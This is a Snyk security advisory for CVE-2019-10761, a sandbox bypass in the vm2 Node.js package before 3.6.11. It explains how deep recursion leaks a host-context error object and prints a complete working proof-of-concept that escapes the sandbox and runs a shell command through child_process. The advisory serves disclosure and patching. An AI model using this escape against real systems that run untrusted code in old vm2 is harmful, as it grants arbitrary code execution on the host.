Sandbox Bypass Affecting vm2 package, versions <3.6.11
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-VM2-473188
- published16 Oct 2019
- disclosed7 Apr 2019
- creditXmiliaH
Introduced: 7 Apr 2019
CVE-2019-10761 (opens in a new tab)How to fix?
Upgrade vm2 to version 3.6.11 or higher.
Overview
vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.
Affected versions of this package are vulnerable to Sandbox Bypass. It is possible to trigger a RangeError exception from the host rather than the "sandboxed" context by reaching the stack call limit with an infinite recursion. The returned object is then used to reference the mainModule property of the host code running the script allowing it to spawn a child_process and execute arbitrary code.
PoC by XmiliaH
"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){
}
}
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}